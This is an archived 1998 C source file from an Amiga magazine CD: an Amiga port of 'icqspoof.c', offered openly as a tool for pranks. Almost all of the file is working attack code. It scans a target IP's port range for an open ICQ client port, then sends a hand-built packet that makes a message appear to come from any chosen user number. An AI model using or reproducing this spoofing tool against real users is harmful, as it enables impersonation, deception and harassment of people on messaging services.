home *** CD-ROM | disk | FTP | other *** search
/ Magazyn Amiga 12 / MA_Cover_12.iso / internet / icqspoofing_01 / source / icq.c < prev    next >
Encoding:
C/C++ Source or Header  |  1998-11-01  |  5.9 KB  |  232 lines

  1. /* icqspoof.c -  This program sends a message to a given ICQ user and it
  2. * will appear to be from an arbitrary UIN. Loads of fun.
  3. *
  4. *  Notes:
  5. *  As many of you know icqflood.c has been distributed by enkil^ and irQ.
  6. *  They claim their program is all their own work.  Yet the "header" they
  7. * use contains MY UIN.  Strange, eh?
  8. * A simple, "Packet Dump that we based our exploit on provided by Seth
  9. * McGann" would have been enough.  Even though I didn't specifically
  10. * request credit it might have been nice to say something.  In the future
  11. * when you expand on someone's idea and work (yeah those traces didn't fall
  12. * out of the sky ya know) give credit where credit is due.
  13. *
  14. * Concept, Protocol Analysis and Coding: Seth McGann
  15. * Some functions dealing with socket scanning: icqflood.c by enkil^ and irQ
  16. * With help from my roomate (target practice)
  17. * And yes, this still works with ICQ 98. Coming soon: Chat and File Spoofing
  18.  
  19.  *--------------------------------------*
  20.   Amiga Version Ported By SuRRouND 1998
  21.   Using SASC 6.58 and INet225
  22.  
  23.   V0.1 - 02.11.98 - First Public release;
  24.  
  25.     Requirements: libs:socket.library
  26.  *--------------------------------------*
  27.  
  28. */
  29.  
  30. #include <sys/time.h>
  31. #include <sys/types.h>
  32. #include <sys/socket.h>
  33. #include <proto/socket.h>
  34. #include <sys/socketvar.h>
  35. #include <netinet/in.h>
  36. #include <netinet/inet.h>
  37. #include <rpc/types.h>
  38. #include <clib/socket_protos.h>
  39. #include <pragmas/socket_pragmas.h>
  40. #include <errno.h>
  41. #include <stdlib.h>
  42. #include <stdio.h>
  43. #include <sys/time.h>
  44. #include <strings.h>
  45. #include <sys/malloc.h>
  46. #include <netdb.h>
  47. #include <string.h>
  48. #include <ctype.h>
  49. #include <fcntl.h>
  50. #define MAXSOCKS 20
  51.  
  52. struct Library *SockBase;
  53. static void *libbase;
  54.  
  55. int ScanPort(char *ipaddr, int StartIP, int EndIP)
  56. {
  57.   struct sockaddr_in sin;
  58.   int sock,x;
  59.   printf("\n\2331mScanning Ports...\2330m\n");
  60.   for(x=StartIP;x<=EndIP;++x)
  61.   {
  62.     if(!(sock = socket(AF_INET, SOCK_STREAM, 0)))
  63.     {
  64.       printf("Error: Unable to connect\n");
  65.       return -1;
  66.     }
  67.     sin.sin_family = AF_INET;
  68.     sin.sin_addr.s_addr = inet_addr(ipaddr);
  69.     sin.sin_port = htons(x);
  70.     printf("Trying port %d...\n", x);
  71.  
  72.     if(connect(sock, (struct sockaddr*)&sin,sizeof(sin))!=-1) {
  73.       close(sock);
  74.       printf("\2331mPort %d Open! Spoofing...\2330m\n",x);
  75.       fflush(stdout);
  76.       return x;
  77.     }
  78.     fflush(stdout);
  79.   }
  80.   printf("\n");
  81.   return -1;
  82. }
  83.  
  84. int main(argc, argv)
  85. int argc;
  86. char *argv[];
  87. {
  88.   struct sockaddr_in sin;
  89.   int sock,i,x;
  90.   int Port;
  91.   typedef struct icq_prot {
  92.     unsigned char magicNum[2];
  93.     unsigned char UIN[4];
  94.     unsigned char unknown[4];
  95.     unsigned char unknown2[2];
  96.     unsigned char length[2];
  97.     unsigned char strng[256];
  98.   } icq_prot;
  99.   icq_prot sendMessage;
  100.   unsigned long temp;
  101.   unsigned char bigguy[1024];
  102.  
  103.   if(argc != 6)
  104.   {
  105.     printf("\n\2331mICQ Spoofing v0.1 By SuRRouND 1998\2330m\n\n");
  106.     printf("Sintaxe:\n");
  107.     printf("icqspoofing [IP] [SPOOFEUIN] [MESSAGE] [STARTPORT] [ENDPORT]\n\n");
  108.     printf("\2331mExample\2330m:\nicqspoofing 1.1.1.1 242331 \"this is a spoofing msg\" 1000 2000\n\n");
  109.     exit(1);
  110.   }
  111.  
  112.   SockBase=(struct Library *)OpenLibrary("libs:socket.library",0L);
  113.   if(!(SockBase))
  114.   {
  115.     printf("\nYou need connect on internet first...\n\n");
  116.     exit(1);
  117.   }
  118.   setup_sockets(MAXSOCKS, &errno);
  119.  
  120.   sock = socket(AF_INET, SOCK_DGRAM, 0);
  121.   if(sock == -1)
  122.   {
  123.     perror("socket: ");
  124.         cleanup_sockets();
  125.         CloseLibrary((struct Library *)SockBase);
  126.         exit(1);
  127.   }
  128.  
  129.   Port = ScanPort(argv[1],atoi(argv[4]),atoi(argv[5]));
  130.   if(Port == -1)
  131.   {
  132.     printf("No ICQ Port Found...\n\n");
  133.         cleanup_sockets();
  134.         CloseLibrary((struct Library *)SockBase);
  135.         exit(1);
  136.   }
  137.  
  138.   sendMessage.magicNum[0]=0x2e;
  139.   sendMessage.magicNum[1]=0x0;
  140.   sendMessage.unknown[0]=0x04;
  141.   sendMessage.unknown[1]=0x01;
  142.   sendMessage.unknown[2]=0x0F;
  143.   sendMessage.unknown[3]=0x0;
  144.   sendMessage.unknown2[0]=0x01;
  145.   sendMessage.unknown2[1]=0x0;
  146.   temp=atol(argv[2]);
  147.   sendMessage.UIN[0]=temp & 0xFF;
  148.   sendMessage.UIN[1]=(temp >> 8) & 0xFF;
  149.   sendMessage.UIN[2]=(temp >> 16) & 0xFF;
  150.   sendMessage.UIN[3]=0;
  151.   strncpy(sendMessage.strng,argv[3],256);
  152.   sendMessage.length[0]=strlen(sendMessage.strng)+1;
  153.   sendMessage.length[1]=0;
  154.  
  155.     if(!(sock = socket(AF_INET, SOCK_STREAM, 0)))
  156.     {
  157.         printf("\nError: Unable to connect...\n\n");
  158.         cleanup_sockets();
  159.         CloseLibrary((struct Library *)SockBase);
  160.         exit(1);
  161.     }
  162.   sin.sin_family = AF_INET;
  163.   sin.sin_addr.s_addr = inet_addr(argv[1]);
  164.   sin.sin_port = htons(Port);
  165.  
  166.   if(connect(sock, (struct sockaddr*)&sin,sizeof(sin))==-1)
  167.   {
  168.     printf("\nError Connecting to Socket...\n\n");
  169.         cleanup_sockets();
  170.         CloseLibrary((struct Library *)SockBase);
  171.         exit(1);
  172.   }
  173.  
  174.   x=20;
  175.   bigguy[0]=(41+strlen(sendMessage.strng)+1) & 0xFF;
  176.   bigguy[1]=((41+strlen(sendMessage.strng)+1) >> 8) & 0xFF;
  177.  
  178.   bigguy[2]=sendMessage.UIN[0];
  179.   bigguy[3]=sendMessage.UIN[1];
  180.   bigguy[4]=sendMessage.UIN[2];
  181.   bigguy[5]=sendMessage.UIN[3];
  182.   bigguy[6]=0x02;
  183.   bigguy[7]=0x00;
  184.   bigguy[8]=0xEE;
  185.   bigguy[9]=0x07;
  186.   bigguy[10]=0x00;
  187.   bigguy[11]=0x00;
  188.   bigguy[12]=sendMessage.UIN[0];
  189.   bigguy[13]=sendMessage.UIN[1];
  190.   bigguy[14]=sendMessage.UIN[2];
  191.   bigguy[15]=sendMessage.UIN[3];
  192.   bigguy[16]=0x01;
  193.   bigguy[17]=0x00;
  194.   bigguy[18]=sendMessage.length[0];
  195.   bigguy[19]=sendMessage.length[1];
  196.   for(i=0;i<sendMessage.length[0];i++)
  197.   bigguy[x++]=sendMessage.strng[i];
  198.   bigguy[x++]=0x82;
  199.   bigguy[x++]=0xD7;
  200.   bigguy[x++]=0xF3;
  201.   bigguy[x++]=0x20;
  202.   bigguy[x++]=0x82;
  203.   bigguy[x++]=0xD7;
  204.   bigguy[x++]=0xF3;
  205.   bigguy[x++]=0x20;
  206.   bigguy[x++]=0x09;
  207.   bigguy[x++]=0x04;
  208.   bigguy[x++]=0x00;
  209.   bigguy[x++]=0x00;
  210.   bigguy[x++]=0x04;
  211.   bigguy[x++]=0x00;
  212.   bigguy[x++]=0x00;
  213.   bigguy[x++]=0x10;
  214.   bigguy[x++]=0x01;
  215.   bigguy[x++]=0xEB;
  216.   bigguy[x++]=0xFF;
  217.   bigguy[x++]=0xFF;
  218.   bigguy[x++]=0xFF;
  219.   bigguy[x++]=0x02;
  220.   bigguy[x++]=0x00;
  221.   bigguy[x++]=0x0A;
  222.   bigguy[x++]=0x09;
  223.   bigguy[x++]=0x00;
  224.   send(sock, bigguy, x-1, 0);
  225.   printf("\n\2331mSuccessfull...\2330m\n\n");
  226.  
  227.   s_close(sock);
  228.   cleanup_sockets();
  229.   CloseLibrary((struct Library *)SockBase);
  230.   exit(0);
  231. }
  232.